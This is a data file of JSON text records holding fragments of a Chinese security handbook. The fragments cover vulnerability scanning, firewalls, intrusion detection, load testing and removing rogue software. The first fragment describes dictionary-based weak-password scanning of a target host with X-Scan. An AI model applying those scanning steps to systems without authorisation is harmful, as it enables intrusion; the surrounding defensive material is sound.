    {"text": "图 1-236 确定扫描范围 步骤5：字典文件设置的好坏，将直接影响扫描结果，可以在“插件设置”选项中设置字典文件，也可以重新加载自己制作的字典文件，以实现获得更多弱口令，如图1-237所示。 图 1-237 设置字典文件 步骤6：在【X-Scan】主窗口中单击【扫描】按钮，即可根据自己的设置进行扫描，如图1-238所示。"},
    {"text": "在扫描完毕之后，将会显示出相应的扫描报告信息，通过扫描报告可以看出目标主机存在哪些漏洞，如图1-239所示。 图 1-238 用X-Scan进行扫描 图 1-239 X-Scan扫描报告 3.防御网络侦察与堵塞漏洞 由于黑客在攻击一台计算机之前，必须先对该计算机进行扫描，并收集相关信息，所以，用户只要能够阻断黑客对自己计算机的扫描，就能有效地防止黑客的攻击。"},
    {"text": "密码设定最好不要使用自己名字的拼音或生日数字的组合，最好使用无意义的数字和字母组合，并且位数尽量多一些，而且还要经常更换，防止黑客破解。"},
    {"text": "未知 第97招 建立系统漏洞防御体系 计算机网络的脆弱及其潜在的威胁，使计算机用户深受其害，因此，建立系统漏洞防御体系，保障网络主机和网络数据的安全尤为重要。 1.检测系统是否存在可疑漏洞 微软基线安全分析器（Microsoft Baseline Security Analyzer）是为IT专业人员设计的一款专门针对微软Windows操作系统的安全检测工具，只要系统有一点的可疑漏洞都逃不过。Microsoft Baseline Security Analyzer工具不能直接解决系统的安全隐患，但可以检测出计算机上微软全系列产品的安全漏洞，用户可以根据检测结果做出相应修补和防范。 检测系统是否存在可疑漏洞的具体操作步骤如下。 步骤1：打开微软基线安全分析器之后，其运行主窗口如图11-27所示。 图 11-27 Baseline Security Analyzer主窗口 步骤2：单击Microsoft Baseline Security Analyzer主窗口上的【Scan a computer】选项，即可打开【Which computer do you want to scan?】窗口，如图11-28所示。 图 11-28 设置单个计算机的扫描 步骤3：在\"computer name\"下拉列表中输入目标计算机的名称（格式为“工作组名\\计算机名”），或在\"IP address\"文本框中输入需要目标计算机的IP地址。根据需要勾选\"Check for Windows administrative vulnerabilities\"、\"Check for IIS vulnerabilities\"、\"Check for SQLvulnerabilities\"等选项之后，单击【Start Scan】按钮，即可开始检测指定计算机是否存在系统漏洞，如图11-29所示。 图 11-29 扫描单个计算机的系统漏洞 步骤4：完成扫描之后，Baseline Security Analyzer将会提供一份详细的系统安全报告。其中绿色勾选的部分表明系统不存在这方面的安全隐患，而带有红色叉的部分说明此项存在安全隐患，需要修补，如图11-30所示。 图 11-30 扫描结果 步骤5：在扫描结果中单击\"What was scaned\"链接，即可查看所扫描的具体问题；单击\"Result details\"链接，则可查看扫描的详细结果；单击\"How to correct this\"链接，即可在如图11-31所示HTML格式文档中，查看解决这些漏洞的具体方法。 图 11-31 HTML格式显示的解决方案 步骤6：选择Microsoft Baseline Security Analyzer主窗口上的【Scan multiple computers】选项，即可打开【Which computers do you want to scan?】窗口，从中对处于某一网段内的计算机实施扫描。在\"Domain name\"下拉列表框中输入扫描的域名或在\"IP address range\"文本框中输入IP地址范围，再像设置扫描单个计算机一样设置扫描选项，如图11-32所示。 图 11-32 设置扫描多台计算机 步骤7：单击【Start Scan】按钮，即可开始对指定网段内主机的系统漏洞扫描，如图11-33所示。稍等片刻之后（如果扫描的计算机数量非常多，则可能需要较长时间），即可显示该网段内所有主机的扫描情况，如图11-34所示。 图 11-33 扫描多台主机 图 11-34 扫描结果 步骤8：单击【Pick a Security to View】按钮，即可打开【Choose a security scan report to view】窗口，如图11-35所示。单击某个主机名，即可查看其扫描结果，如图11-36所示。 图 11-35 【扫描结果报告】窗口 图 11-36 【扫描报告漏洞描述】窗口 2.监视系统的操作进程 虽然可以修复一些系统已经存在的漏洞，但随着网络技术的发展，总是会有新漏洞被发现，这就要求用户注意对系统运行状态进行监视，及时发现并预防黑客利用漏洞进行入侵。 （1）开启系统审核机制 Windows操作系统自带有日志功能，能将系统进行的任何操作详细记录下来。因此，用户可以随时通过查看日志的方法，发现黑客的入侵行踪。 以Windows XP操作系统为例，开启系统审核机制的具体操作步骤：在【管理工具】窗口中双击【本地安全策略】图标，即可打开【本地安全设置】窗口。展开左侧的【安全设置】→【本地策略】→【审核策略】目录树选项，在其右侧窗口中可看到相关安全设置，如图11-37所示。 图 11-37 本地安全设置窗口 注意 要想启用“审核对象访问”策略，必须使用NTFS文件系统。它既为用户提供访问控制，还可以对用户的操作进行审核。 因此，对于系统的重要资源就可以进行此类配置。只要所有的审核都生效后，用户就可以通过检查日志来发现黑客的蛛丝马迹，从而按着这个线索进行抵抗。 （2）运用日志监视 日志作为一种系统监视工具，只要在系统中启用审核之后，管理员就可以经常检查系统安全日志，来判断是否有黑客入侵。查看系统日志的具体方法如下。 步骤1：在【管理工具】窗口中双击【事件查看器】图标，即可打开【事件查看器】窗口，在左窗格的目录树中选择【安全性】目录选项。 步骤2：再右击右侧窗口中某一安全性事件，在快捷菜单中选择【属性】选项，即可打开【成功审核属性】对话框，在其中对事件安全性进行查看，如图11-38所示。 图 11-38 查看事件安全性 日志其实就是为了系统管理员了解系统安全状况而设计的，其他人员是不必要访问的。因此，最好把日志文件设置为只有管理员才有权限访问，并为它加上审核的功效。"},
    {"text": "未知 第98招 单机版极品安全卫士CATHER CATHER企业机版是在CATHER单机版的基础上升级开发而成的，它集防火墙、安全分析、带宽分配、流量限制、数据过滤分析、网络事件告警、日志分析、实时监控等多个功能于一体，既可用于各种规模的企事业单位的网络系统，也可用于个人网络系统。 只需要在局域网关键结点（如代理服务器、网关等）上安装一个正版的CATHER，便可对整个局域网实施全面的安全防护，无需任何额外硬件的支持。该系统无任何额外的硬件和软件，成本较低，易于维护。 CATHER的功能非常多，下面介绍几个最容易接触到的功能使用方法： （1）防火墙 由于CATHER的防火墙是基于IM实现的，位于系统协议层底层，可以完全实现网络的物理隔离，实现对网络通信的全面监控，如图11-39所示。 图 11-39 “防火墙”选项页面 可以通过展开“MAC层过滤”选项，单击鼠标右键，从快捷菜单中选择“添加条件”选项，如图11-40所示。如果选择“模式设置”选项，则可以在弹出的对话框中根据需要设置防火墙过滤的严格程度，如图11-41所示。 图 11-40 添加条件 图 11-41 选择过滤模式 （2）安全分析 系统提供了方便的数据过滤、协议分析功能，包括发送端硬件、接收端硬件、发送端与接收端的IP地址、传输层所用协议和端口等，如图11-42所示。 图 11-42 “安全分析”页面 （3）TCP/IP连接状态跟踪 CATHER可同时对多达200000个TCP连接状态进行跟踪。在使用IE登录http://china.msn.com/之后，可以发现该软件即时捕获到了这一连接，并迅速对远程服务器的类型等方面进行探测，如图11-43所示。 图 11-43 “TCP/IP连接状态跟踪”选项页面 （4）主机管理 CATHER可同时对企业内局域网的所有主机进行实时流量、带宽分类统计，物理隔离等功能，对网管综合部署网络具有重要参考价值，如图11-44所示。 图 11-44 “主机管理”页面 除上述功能外，还可在CATHER中进行流量、带宽控制告警，在网络资源有限的情况下，可实现资源的合理配置。进行通信干涉可对上下两个方向数据包的内容更改，这种干涉对上层的协议层、应用层以及其他主机是完全透明的。"},
    {"text": "未知 第99招 用WAS检测网站承受压力 面对越来越傻瓜化的DDOS（Distributed Denial of Service，分布式拒绝服务器）工具，攻击者甚至不需要知道什么是DDOS就可以轻而易举地让这些网站瘫痪。Microsoft Web Application Stress Tool是专门用来进行实际网站压力测试的一套工具，可用少量Client端计算机仿真大量用户上线对网站服务所可能造成的影响，在网站实际上线之前先对所设计的网站进行如同真实环境测试，以找出系统潜在问题，对系统进行进一步的调整和设置。 1.检测网站的承受压力 在开始录制一个脚本前需准备好浏览器，清除浏览器的缓冲Cache。否则，WAS也许不能记录所需的浏览器活动，因为浏览器可能从缓冲区而不是从所请求的服务器取得请求页面。 具体的操作步骤如下。 步骤1：在IE浏览器窗口中选择【工具】→【Internet选项】菜单项，即可弹出【Internet选项】对话框。单击“常规”选项卡中的【删除文件】按钮，即可成功地删除Internet临时文件，如图11-45所示。 图 11-45 【Internet选项】对话框 步骤2：下载并安装\"WAS\"软件，双击\"WAS\"应用程序图标，即可启动WAS主程序。由于是第一次运行WAS程序，将会弹出【Create new script】对话框，询问以什么样的方式创建一个新的测试脚本，如图11-46所示。 图 11-46 【Create new script】对话框 步骤3：根据需要单击【Recard】按钮，将会弹出【Browse Recorder-Step 1 of 2】对话框，可以指定一些记录设置，如图11-47所示。在清除所有的选择框后，单击【Next】按钮，将会弹出【Browse Recorder-Step 2 of 2】对话框，如图11-48所示。 图 11-47 【Browse Recorder-Step 1 of 2】对话框 图 11-48 【Browse Recorder-Step 2 of 2】对话框 步骤4：单击【Finish】按钮，WAS将启动一个浏览器窗口以便记录浏览器的活动情况，同时WAS会置于记录模式。在浏览器地址栏中输入要测试的网站地址，在WAS窗口中可以看到HTTP信息跟随浏览活动而进行实时更新，如图11-49所示。 图 11-49 \"WAS\"主窗口 步骤5：当完成了站点浏览后，返回到\"WAS\"主窗口。WAS还处于记录状态，单击【Stop Recording】按钮，将终止记录并产生一个新的测试脚本，如图11-50所示。 图 11-50 “脚本测试”窗口 步骤6：为了能更好地进行性能测试，还需要修改测试脚本的设置。单击左边的脚本名展开脚本信息，找到\"Settings\"标签并单击\"Settings\"选项，即可在右边窗口中打开Settings视图，这里可以为脚本测试指定参数设置，如图11-51所示。选择\"Throttle bandwidth\"复选框，在下拉菜单选择一个代表大多数用户连接吞吐量的带宽即可，如图11-52所示。 图 11-51 设置指定脚本参数 图 11-52 指定带宽瓶颈 步骤7：若想测试需要署名登录的WEB站点时，WAS提供一个USERS特性，可用于存储多个用户的用户名、密码和Cookie信息。单击主窗口左侧列表中的\"Users\"项，双击窗口右侧列表中的\"Default\"选项，即可打开“用户”视图（默认已创建1个用户）。可修改用户名和密码使用，也可自己建立用户，如图11-53所示。 图 11-53 “用户视图”页面 步骤8：单击【Remove All】按钮，则可清除所有记录。在\"Number of new users\"输入创建的新用户数量，在\"Password\"中输入密码，相同的密码会赋给所有用户。单击【Create】按钮，用户表单就会填满指定数量的用户。 步骤9：设置完成后选择【Scripts】→【Run】菜单项，即可开始测试，如图11-54所示。 图 11-54 开始测试 2.进行数据分析 选择【View】→【Reports】菜单项，即可打开【报告】窗口，在左侧列表中将展开相应的报告，如图11-55所示。检查Socket Errors部分是否有任何的socket有关错误（值不为0）。 图 11-55 “报告”窗口 这里列出每种socket错误的解释： 1）Connect：客户端不能与服务器取得连接的次数。如果这个值偏高，检查在客户端与服务器之间产生的任何潜在错误。从每个客户端Ping服务器或Telnet服务器的端口80验证可得到正确的回应； 2）Send：客户端不能正确发送数据到服务器的次数。如果这个值偏高，检查服务器是否工作正常。在客户端打开一个浏览器然后手动点击站点页面验证站点是否工作正常； 3）Recv：客户端不能正确地从服务器接收数据的次数。如果这个值偏高，执行和Send错误相同的操作，还要检查一下如果减低负载系数，错误是否减少； 4）Timeouts：超时的线程数目，而且随后就关闭了。如果这个值偏高，在客户端打开一个浏览器，然后手动点击站点页面验证是否即使只有一个用户程序也会很慢。再做一个不同负载系数的压力测试，看看程序的潜在特征。 如果\"socket\"错误很低或为0，在左侧的报告列表中找到\"Result Codes\"部分。检查一下是否所有结果代码都是200，200表示所有请求都被服务器成功地返回。如果找到大于或等于400的结果，单击报告列表中的\"Page Data\"结点，展开所有项目，查看每个脚本项在右边窗口页面数据的报告，找出出现错误的项目，显示如图11-56所示。 图 11-56 查看任意一个脚本项的报告 通过不断增减用户数量和改变其他参数测试，可以最大限度地了解网站程序和服务器的承受能力，以便在开始提供服务之前限止访问量及其他参数，保证网站可以正常运行。"},
    {"text": "未知 第100招 专业入侵检测系统BlackICE BlackICE是ISS安全公司出品的一款著名的入侵检测系统，拥有强大的检测、分析及防护功能，可侦察出谁在扫描端口，在入侵者进入前进行拦截，以保护电脑不受危害。 1.BlackICE安装初步 BlackICE的安装过程稍微有点复杂，BlackICE会要求用户有一个序列号才能进行安装。 具体的操作步骤如下。 步骤1：下载并解压\"BlackICE\"程序文件夹，如图11-57所示。双击\"BlackICE\"应用程序图标，即可弹出【欢迎ISS BlackICE安装】对话框，如图11-58所示。 图 11-57 \"BlackICE\"程序文件夹 图 11-58 【欢迎ISS BlackICE安装】对话框 步骤2：单击【Next】按钮，即可打开【License Agreement】对话框，在其中阅读安装许可协议内容，如图11-59所示。单击【I Accept】按钮，即可打开【BlackICE PC Protection License】对话框，在\"License\"文本框中输入版本序列号，如图11-60所示。 图 11-59 【安装许可协议】对话框 图 11-60 【BlackICE PC Protection License】对话框 步骤3：单击【Next】按钮，即可打开【Choose Destination Location】对话框，在其中根据需要选择安装的目标位置，如图11-61所示。 图 11-61 【Choose Destination Location】对话框 步骤4：在选择好安装的目标位置后，单击【Next】按钮，即可打开【Select Program Folder】对话框，在其中选择程序的安装文件夹，如图11-62所示。 图 11-62 【Select Program Folder】对话框 步骤5：单击【Next】按钮，即可打开【BlackICE PC Protection Configuration】对话框，在其中根据需要开启或禁用AP（Application Protection，程序保护），推荐选择\"Off\"。因为如果选择\"On\"，BlackICE会在复制文件之后对本机进行扫描，并记录下所有可能访问Internet的程序，这一过程相当耗时（但也有人说这是入侵监测系统中最核心的部分之一，通过监测系统内部的所有变化，为系统提供最大安全性），因此推荐\"Off\"，如图11-63所示。 图 11-63 【BlackICE PC Protection Configuration】对话框 步骤6：单击【Next】按钮，即可打开【Start Copying Files】对话框，程序开始复制文件，如图11-64所示。 图 11-64 【Start Copying Files】对话框 步骤7：单击【Next】按钮，程序开始安装并显示安装的进度条。在安装完成之后，即可弹出【InstallShield Wizard Complete】对话框。单击【Finish】按钮，即可完成整个安装过程，如图11-65所示。 图 11-65 【InstallShield Wizard Complete】对话框 2.BlackICE应用实战 BlackICE安装完成并启动之后，会在系统托盘中出现一个相应的图标，报警时显现出红黄两色，可关闭以节省CPU资源。双击打开BlackICE主窗口后，可看到主要设置项都包含在事件（Events）、入侵者（Intruders）和历史（History）三个选项卡中。 在使用BlackICE之前先对其进行基本的设置，才能进行入侵检测，具体的使用方法如下。 步骤1：选择【tool】→【Edit BlackICE Settings】菜单项，即可打开【BlackICE Settings】对话框，如图11-66所示。 图 11-66 【防火墙】选项卡 步骤2：切换到\"Firewall\"选项卡，在\"Protection\"部分选择\"Trusting:allow all inbound traffic\"项，如果是个人用户，只需选择\"Enable Auto-Blocking\"项，如果是局域网用户，则需三个选项都选择，否则会出现网上邻居无法浏览、无法共享上网的情况。 步骤3：切换到\"Evidence Log\"选项卡，选择\"Logging enabled\"选项之后，\"Log Files\"部分几个小项目会自动选取，其设置采用默认，如图11-67所示。 图 11-67 设置入侵日志 步骤4：在设置完成之后，在\"Events\"选项卡中可查看尝试连接的IP地址和方式，如图11-68所示。在\"History\"选项卡图表中可看到该连接被认为是“可疑”的入侵，如图11-69所示。 图 11-68 【事件】选项卡 图 11-69 【历史】选项卡 提示 在使用过程中一定要及时升级软件，才能够有效地、及时地过滤掉最新的入侵行为，从而有效地保障计算机的安全。"},
    {"text": "未知 第101招 免费的专定防火墙Zone Alarm Zone Alarm是一款防火墙软件，主要包括显示与网络连接的应用程序、允许或禁止某个应用程序的网络连接、允许或禁止全部所有的网络连接、显示发送和接受的字节数、屏保程序启动时禁止网络连接、空闲一段时间后禁止网络连接及设定安全级别等功能。 下面介绍Zone Alarm的使用，具体使用方法如下。 步骤1：执行Zone Alarm主程序，即可打开该防火墙主窗口，如图11-70所示。 图 11-70 Zone Alarm防火墙主窗口 步骤2：选择左侧的【防火墙】功能，即可打开【防火墙选项】窗口，在其右侧有Internet区域安全、信任区域安全、禁止区域安全等三个关于用户的网络连接安全分区。通过调整滑块可以改变各个区域的安全级别。当设置为最高时，用户的计算机在网络上将被隐藏，同时也会禁止一切共享。 步骤3：在【防火墙选项】窗口的任一安全选区中单击【定制】按钮，即可打开【自定义防火墙设置】对话框，在其中根据需要对开放的端口进行设置，如图11-71所示。 图 11-71 自定义防火墙设置对话框 步骤4：Zone Alarm Firewall（eTrust）防火墙还提供了电子邮件保护功能，能够对邮件附件中的病毒或恶意程序进行隔离，如图11-72所示。 图 11-72 电子邮件保护窗口 步骤5：选择Zone Alarm Firewall（eTrust）防火墙主窗口中的【隐私保护】功能项，即可在其中设置Cookie控制、拦截广告及活动代码控制等保护选项，如图11-73所示。 图 11-73 隐私保护窗口 步骤6：选择Zone Alarm Firewall（eTrust）防火墙主窗口的【ID锁定】功能，即可打开【ID锁定】窗口，在其中进行一些必要设置，可以预防银行账号、邮箱密码、网络游戏的账号等机密信息的泄露，从而保护数据安全，如图11-74所示。 图 11-74 ID锁定窗口 另外，Zone Alarm Firewall（eTrust）防火墙还具有手动和定期自动清理缓存、清除系统中文档记录、IE记录以及文件碎片、ID锁定（对用户私密资料进行保护）等功能。"},
    {"text": "未知 第102招 萨客嘶入侵检测系统 目前可供选择的入侵检测系统很多，除入侵检测设备自带的管理系统外，还可在相应检测主机上通过安装其他入侵检测工具来实现入侵检测。 萨客嘶入侵检测系统是一种积极主动的网络安全防护工具，提供了对内部和外部攻击的实时保护。它通过对网络中所有传输的数据进行智能分析和检测，从中探测网络或系统中是否存在违反安全策略的行为和被攻击的迹象，在系统受到入侵之前拦截和阻止入侵。 萨客嘶入侵检测系统是基于协议分析，采用了快速的多模式匹配算法，能对当前复杂高速的网络进行快速精确分析。在网络安全和网络性能方面可以提供全面和深入的数据依据，是企业、政府和学校等机构进行多层次防御的重要产品。 萨客嘶入侵检测的操作方法很简单，具体的操作步骤如下。 步骤1：下载并安装萨客嘶入侵检测系统，其主窗口包括按结点浏览、运行状态以及统计项目三个部分，如图11-75所示。 图 11-75 【萨客嘶入侵检测系统】主窗口 步骤2：选择【监控】→【开始】菜单项，即可打开【设置】对话框，在其中选择相应的网卡，如图11-76所示。因为该检测系统是通过适配器来捕捉网络中正在传输的数据，并对其进行分析，所以正确选择网卡是能够捕捉到入侵的关键一步。 图 11-76 【设置】对话框 步骤3：单击【确定】按钮，即可对本机所在的局域网内所有的主机进行监控，结果如图11-77所示。在其中可以看到检测到主机的IP地址、对应的MAC地址、本机的运行状态以及数据包统计、TCP连接情况、FTP分析等信息。 图 11-77 进行监控的得到结果 步骤4：在“会话”选项卡中可看到在监控时，进行会话的源IP地址、源端口、目标IP地址、目标端口、使用到的协议类型、状态、事件、数据包、字节等信息，如图11-78所示。 图 11-78 “会话”选项卡 步骤5：如果想分类查看会话信息，则在“会话信息”列表中右击某条信息，在快捷菜单中选择“按源结点进行过滤”选项，即可按某个源IP地址显示会话信息，如图11-79所示。 图 11-79 按源IP地址显示会话信息 步骤6：在左边的结点列表中右击某个物理地址，在快捷菜单中选择“增加别名”选项，即可打开【增加别名】对话框，如图11-80所示。 图 11-80 【增加别名】对话框 步骤7：在“别名”文本框中输入名称之后，单击【确定】按钮，即可使该物理地址显示自定义的名称，如图11-81所示。如果存在违反安全策略的行为和被攻击的迹象，则在“入侵事件”选项卡下，即可看到入侵事件的详细信息，如图11-82所示。 图 11-81 自定义的物理地址名称 图 11-82 在“入侵”选项卡下查看事件 步骤8：在“日志”选项卡中可看到HTTP请求、邮件、FTP传输、QQ事务以及MSN事务等各种日志的详细信息，如图11-83所示。在“日志”选项卡中还可自定义日志的显示格式，单击【自定义列】按钮 ，即可打开【表格显示定义】对话框，如图11-84所示。在其中勾选相应的复选框后，单击【确定】按钮，即可完成设置。 图 11-83 查看各种日志 图 11-84 【表格显示定义】对话框 步骤9：选择【设置】→【选项】菜单项，即可打开【详细设置】对话框，在其中勾选相应的复选框，展开“分析模块”中各个子项，在其中选择“入侵分析器”选项，如图11-85所示。再设置是否启用日志、日志缓冲区尺寸的大小以及日志文件路径，对“FTP分析器”、“HTTP分析器”、“Email分析器”等各个选项进行设置，如图11-86所示。 图 11-85 【详细设置】对话框 图 11-86 设置“入侵分析器”选项 步骤10：选择【设置】→【别名设置】菜单项，即可打开【别名设置】对话框，如图11-87所示。在其中可以对物理地址、IP地址和端口进行各种操作，如添加、编辑、删除、导出等。 图 11-87 【别名设置】对话框 步骤11：选择【设置】→【检测规则设置】菜单项，即可打开【入侵规则设置】对话框。在其中对各种入侵规则进行添加、删除、增加选项、删除选项等，如图11-88所示。 图 11-88 【入侵规则设置】对话框 该检测系统可检测出用户网络中存在的黑客入侵、网络资源滥用、蠕虫攻击、后门木马、ARP欺骗、拒绝服务攻击等各种威胁；同时，可以根据策略配置主动切断危险行为，对目标网络进行保护。"},
    {"text": "未知 第103招 用无处藏身检测恶意IP 在与网络的接触中，许多用户都曾经被人攻击过，此时，使用无处藏身这一小软件就可以很容易地检测出恶意IP的真实面目。 1.发现恶意IP 现在网上很多黑客喜欢使用一些扫描器来随意到处乱探，以检测是否有什么漏洞可以有机会进入。针对这种情况大家可以使用天网防火墙来查知是否有人在恶意扫描自己。 无处藏身软件\"Seekyou\"使用起来极其方便，具体的安装过程如下。 步骤1：双击下载并解压\"Seekyou\"文件夹，双击\"Seekyou\"应用程序图标，即可打开【欢迎使用Seekyou安装向导】对话框，如图11-89所示。 图 11-89 【欢迎使用Seekyou安装向导】对话框 步骤2：单击【下一步】按钮，即可打开【许可协议】对话框，在其中查看该软件的安装协议，如图11-90所示。如果同意则选择“我同意此协议”单选项，单击【下一步】按钮，即可进入【信息】提示框，如图11-91所示。 图 11-90 查看安装协议 图 11-91 【信息】对话框 步骤3：单击【下一步】按钮，即可进入【选择目标位置】对话框，如图11-92所示。在选择好相应安装路径之后（建议使用默认路径），单击【下一步】按钮，即可进入【选择开始菜单文件夹】对话框，如图11-93所示。单击【下一步】按钮，即可选择附加任务，如图11-94所示。 图 11-92 选择合适的安装路径 图 11-93 选择开始菜单文件夹 图 11-94 选择附加任务 步骤4：如不想在桌面创建快捷方式，单击【下一步】按钮，即可进入【准备安装】对话框，如图11-95所示。单击【安装】按钮，即可开始安装，如图11-96所示。 图 11-95 【准备安装】对话框 图 11-96 软件的安装过程 步骤5：在安装完毕之后，即可进入【Seekyou安装向导完成】对话框，提示用户已经成功安装了该软件，如图11-97所示。单击【完成】按钮，即可完成整个安装过程。 图 11-97 【Seekyou安装向导完成】对话框 2.追踪恶意IP 将无处藏身软件安装成功之后，就可以使用它来追踪恶意IP了，其具体的操作步骤如下。 步骤1：运行该软件，即可进入软件主窗口，如图11-98所示。 图 11-98 无处藏身的主窗口 步骤2：单击左侧的“IP工具”项下的Whois项之后，在切换到的界面中输入域名和IP地址，如图11-99所示。单击【查询】按钮，即可查找到相应的信息。 图 11-99 查询恶意IP 未知 第12章 流氓软件与间谍程序清除 重点提示 ♂流氓软件的清除 ♂使用Spybot-Search＆Destroy ♂间谍软件防护实战 ♂蜜罐的使用 ♂诺顿网络安全特警 本章精粹： 现在网络上的流氓软件和间谍软件很多，往往在浏览某些网页时就会被安装这些软件，并且很不好卸载，一般只能使用流氓软件与间谍软件的专用清除工具才能进行彻底地清除。 随着网络技术的日趋更新，越来越多的黑客工具也在滋生蔓延，危及着人们正常的生活。因此，无论是作为黑客还是一个普通的电脑使用者，都需要掌握一定的维护技术，对存在机器中的间谍、木马等黑客病毒实施全方位防御，彻底清理系统，实现应用环境的安全。"},
    {"text": "未知 第104招 流氓软件的清除 一些“流氓软件”会通过捆绑共享软件、采用一些特殊手段频繁弹出广告窗口、窃取用户隐私，严重干扰用户正常使用电脑，真可谓是“彻头彻尾的流氓软件”。 根据不同的特征和危害，困扰广大计算机用户的流氓软件主要有广告软件、间谍软件、浏览器支持、行为记录软件和恶意共享软件5类。 1.清理浏览器插件 现在有很多与网络有关的工具，如下载工具，搜索引擎工具等都可能在安装时在浏览器中安装插件，这些插件有时并无用处，还可能是流氓软件，所以有必要将其清除。"},
    {"text": "一般软件需要用户单独下载然后执行安装，而ActiveX插件只要用户浏览到特定的网页，IE浏览器就会自动下载并提示用户安装。 目前很多软件都采取这种安装方式，如播放Flash动画的播放插件。 当然，很多流氓软件也利用浏览器这一特点，并不进行提示直接下载安装，甚至有些恶意插件还会更改系统配置，严重地影响系统运行的稳定性。 （1）使用Windows XP SP2插件管理功能 如果用户使用的系统是Windows XP SP2及其升级版本的系统，则在IE浏览器的“工具”菜单中将出现一个“管理加载项”菜单。 通过该菜单，用户可以对已经安装的IE插件进行管理。"},
    {"text": "（2）使用IE插件管理专家 “IE插件管理专家”（Upiea）的IE插件屏蔽功能突破了传统的插件屏蔽软件思维模式，它不仅能够屏蔽插件，还可以识别当前已安装的插件，并可卸载插件。"},
    {"text": "图 12-7 【实用工具】标签页 图 12-8 【进程管理】选项页 2.流氓软件的防范 除在遭受其“骚扰”和“入侵”后进行“亡羊补牢”外，难道就真的没有办法了吗？ 其实更应做好事前防范，打造对“流氓软件”具有免疫功能的电脑系统。 （1）及时更新补丁程序 如果觉得下载补丁程序太麻烦，则可以利用安装的杀毒软件、防火墙等安全工具中的漏洞扫描功能，扫描自己的系统并自动下载安装补丁程序。"},
    {"text": "下面以瑞星杀毒软件为例介绍其扫描系统漏洞并下载补丁的操作方法。 步骤1：单击瑞星杀毒软件界面上的【软件升级】按钮，升级杀毒软件，如图12-9所示。 图 12-9 瑞星杀毒软件主界面 步骤2：单击【安检】按钮，软件将自动检测系统，报告系统漏洞，如图12-10所示。 图 12-10 安检扫描 步骤3：如果发现有系统漏洞，则可单击左侧的“扫描系统漏洞并升级补丁”超链接，系统开始下载安装补丁，如图12-11所示。 图 12-11 扫描系统漏洞 步骤4：单击“详细信息”超链接，即可弹出【系统漏洞】对话框，在其中选取需要下载的补丁，如图12-12所示。 单击【修复漏洞】按钮，即可开始进行漏洞修复。 图 12-12 【系统漏洞】对话框 小技巧 用户也可直接使用瑞星卡卡上网安全助手进行系统漏洞扫描并修复，因为瑞星杀毒软件实际调用的就是瑞星卡卡上网安全助手进行系统漏洞扫描并修复的。"},
    {"text": "（2）禁用ActiveX脚本 禁用ActiveX脚本可以阻止恶意IE插件的安装，但也能够造成某些使用ActiveX技术的网页无法正常显示。 禁用ActiveX脚本的具体操作方法如下。"},
    {"text": "步骤1：右击桌面上的\"Internet\"图标，从快捷菜单中选择“属性”选项，即可打开【Internet选项】对话框，如图12-13所示。 图 12-13 【Internet选项】对话框 步骤2：选择“安全”标签卡，单击【自定义级别（C）……】按钮，在弹出对话框中禁用所有ActiveX控件和插件选项，如图12-14所示。 图 12-14 【安全设置】对话框 （3）加入受限站点 把含有恶意插件网页加入受限站点，使IE浏览器不能打开该网页。"},
    {"text": "步骤1：打开【Internet选项】对话框的“安全”标签卡，单击“受限制的站点”图标，如图12-15所示。 图 12-15 【Internet选项】对话框 步骤2：单击【站点】按钮，即可打开【受限站点】对话框，在其中输入需要限制登录的网页地址，如图12-16所示。"},
    {"text": "为了在互联网不产生冲突，每一台连接网络的计算机都会分配一个IP地址，但为便于记忆，又引入了域名的概念，所以当用户在IE地址栏中输入域名时，系统先查看Hosts文件中是否有与此域名相对应的IP地址，如果没有就连接DNS服务器进行搜索；"},
    {"text": "在Windows XP系统中可使用“记事本”打开C:\\Windows\\system32\\drivers\\etc\\hosts文件，在此文件中输入\"127.0.0.1 www.abcd.com\"，在IP地址和域名间用空格分开且保存后退出，将www.abcd.com网站域名指向计算机本地的IP地址127.0.0.1，从而避免下载插件。 （5）设置网页安全扫描 一般反病毒软件中带有防范网页恶意代码的功能，例如瑞星卡卡上网安全助手中的“上网防护”功能，就具有“不良网站访问防护”、“IE防漏墙”、“木马下载拦截”等功能，如图12-17所示。 启用这些功能，用户访问具有恶意代码的网页时，就会主动进行提示和拦截，防止恶意代码利用ActiveX进行下载和执行危险的命令。 图 12-17 “上网防护”页面 （6）使用专用工具进行防疫 现在网络上有很多专门用于对付流氓软件和间谍软件的工具，而且这些工具一般都具有免疫功能，即针对已知的流氓软件和间谍软件修改注册表相应项，使相应的流氓软件和间谍软件不能自动下载和安装，从而保证用户系统的安全和稳定。 3.用超级兔子清除流氓软件 “流氓软件”很大一部分都是通过修改注册表来“劫持”用户的浏览器，把用户引向不良网站，为此，可以借助超级兔子软件来对IE进行修复和管理。 超级兔子系统检测可诊断一台计算机系统的稳定性及速度，还具有磁盘修复及键盘检测功能。 超级兔子安全助手能隐藏磁盘、加密文件，超级兔子系统备份是国内唯一能完整保存Windows XP/2003/Vista注册表的软件。 用户使用超级兔子中的“清理天使”模块可以将系统恶意插件清除。"},
    {"text": "步骤1：安装好超级兔子后，双击桌面上的“超级兔子”图标即可启动该程序，并进入其操作界面，如图12-18所示。 图 12-18 “超级兔子”主窗口 步骤2：单击【优化】按钮，即可打开“优化”页面，选择“清理天使1.0.1”栏目并单击右侧的【启动】按钮，即可启动“清理天使”模块，如图12-19所示。 图 12-19 “优化”页面 步骤3：单击“痕迹清理”超链接，即可进入“痕迹清理”页面，在其中选择清理设置的位置，如图12-20所示。 单击【一键清理】按钮，即可开始清除已知的恶意程序和木马，如图12-21所示。"},
    {"text": "单击“清理文件系统”超链接进入“清理文件系统”操作界面，在其中选择需清理的磁盘，如图12-23所示。 图 12-22 查看详细痕迹清理信息 图 12-23 “清理文件系统”操作界面 步骤5：若单击“标准卸载”超链接，则可进入“标准卸载”操作界面，系统开始检测本机软件，一旦检测完成后，则选中不需要的软件将其卸载，如图12-24所示。 图 12-24 “标准卸载”操作界面 步骤6：在“清理天使”界面上单击“设置中心”超链接，即可进入“设置中心”操作界面，如图12-25所示。 图 12-25 “设置中心”操作界面 4.用瑞星卡卡安全助手根除流氓软件 “瑞星卡卡上网安全助手”是一款基于互联网设计的全新反木马软件，该软件独有“自动在线诊断、木马行为判断与拦截、木马下载拦截”等三大独创的反木马功能，能帮助用户自动扫描并修补系统和第三方软件漏洞，优化电脑系统，是一款集防、查、杀于一体的全新反木马利器。 （1）查杀流行木马 瑞星卡卡与瑞星杀毒软件一样，均可对本地计算机实施木马的查杀。"},
